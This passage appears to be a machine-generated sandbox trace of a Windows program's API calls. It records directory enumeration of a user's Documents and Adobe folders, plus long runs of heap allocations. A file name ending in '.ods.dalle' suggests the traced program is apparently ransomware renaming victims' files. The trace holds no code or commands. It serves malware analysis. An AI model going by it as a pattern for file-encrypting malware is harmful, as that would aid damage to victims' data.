"c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\sx6 wwnetkp28pvoc\\zmnh8m1qsffqobu79ql.ods.dalle")) returned 1 [0122.660] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f4fe550, ftCreationTime.dwHighDateTime=0x1d4cf9b, ftLastAccessTime.dwLowDateTime=0xfcf02440, ftLastAccessTime.dwHighDateTime=0x1d4c61b, ftLastWriteTime.dwLowDateTime=0xfcf02440, ftLastWriteTime.dwHighDateTime=0x1d4c61b, nFileSizeHigh=0x0, nFileSizeLow=0x13038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zMnh8m1qSffqOBU79Ql.ods", cAlternateFileName="ZMNH8M~1.ODS")) returned 0 [0122.660] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0122.660] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0122.660] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094830 | out: hHeap=0x5e0000) returned 1 [0122.660] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022f48 | out: hHeap=0x5e0000) returned 1 [0122.660] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e2f8 | out: hHeap=0x5e0000) returned 1 [0122.660] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e520 | out: hHeap=0x5e0000) returned 1 [0122.660] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e468 | out: hHeap=0x5e0000) returned 1 [0122.660] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e748 | out: hHeap=0x5e0000) returned 1 [0122.660] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0e30 | out: hHeap=0x5e0000) returned 1 [0122.660] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094a90 | out: hHeap=0x5e0000) returned 1 [0122.660] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094cf0 | out: hHeap=0x5e0000) returned 1 [0122.660] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6e48 | out: hHeap=0x5e0000) returned 1 [0122.660] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac838 | out: hHeap=0x5e0000) returned 1 [0122.660] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f84e20 | out: hHeap=0x5e0000) returned 1 [0122.660] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022f48 [0122.661] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0122.661] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.661] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.661] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.661] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.661] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.661] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.661] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.661] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.661] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.661] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.661] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.661] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.661] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.661] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.661] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.661] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.661] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.661] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.661] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.661] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.661] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.661] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.661] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.661] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.661] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.661] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.661] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0122.661] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.661] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.661] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.661] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.662] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.662] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.662] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.662] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.662] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.662] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.662] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.662] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.662] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.662] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.662] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.662] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.662] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.662] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.662] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.662] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.662] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.662] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.662] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.662] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.662] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.662] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.662] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.662] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.662] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.662] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.662] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.662] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.662] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.662] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.663] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.663] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.663] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.663] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.663] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.663] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.663] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.663] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.663] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.663] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.663] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.663] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.663] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.663] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.663] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.664] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0122.664] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.664] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.664] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.664] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.664] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.664] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.664] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.664] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.664] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.664] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0122.664] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.664] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.664] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.664] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.664] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.664] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.664] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.664] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.664] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.664] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.664] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.664] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.664] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.664] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.664] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.664] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\") returned="Search\\" [0122.664] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\") returned="10.0\\" [0122.664] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="Acrobat\\" [0122.665] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0122.665] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.665] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.665] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.665] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.665] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0122.665] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.665] PathFindFileNameW (pszPath="") returned="" [0122.665] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0122.666] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.666] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.666] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0122.666] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0122.666] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0122.667] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022f48 | out: hHeap=0x5e0000) returned 1 [0122.667] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0122.667] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0122.667] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0122.667] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0122.667] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0122.667] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0122.667] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.667] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.667] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.667] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.667] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0122.667] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.667] PathFindFileNameW (pszPath="") returned="" [0122.667] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0122.669] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac688 | out: hHeap=0x5e0000) returned 1 [0122.669] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.669] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="all", cAlternateFileName="")) returned 1 [0122.669] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="brt", cAlternateFileName="")) returned 1 [0122.669] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="brz", cAlternateFileName="")) returned 1 [0122.669] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dan", cAlternateFileName="")) returned 1 [0122.669] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dut", cAlternateFileName="")) returned 1 [0122.669] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eng", cAlternateFileName="")) returned 1 [0122.669] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="frn", cAlternateFileName="")) returned 1 [0122.669] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, 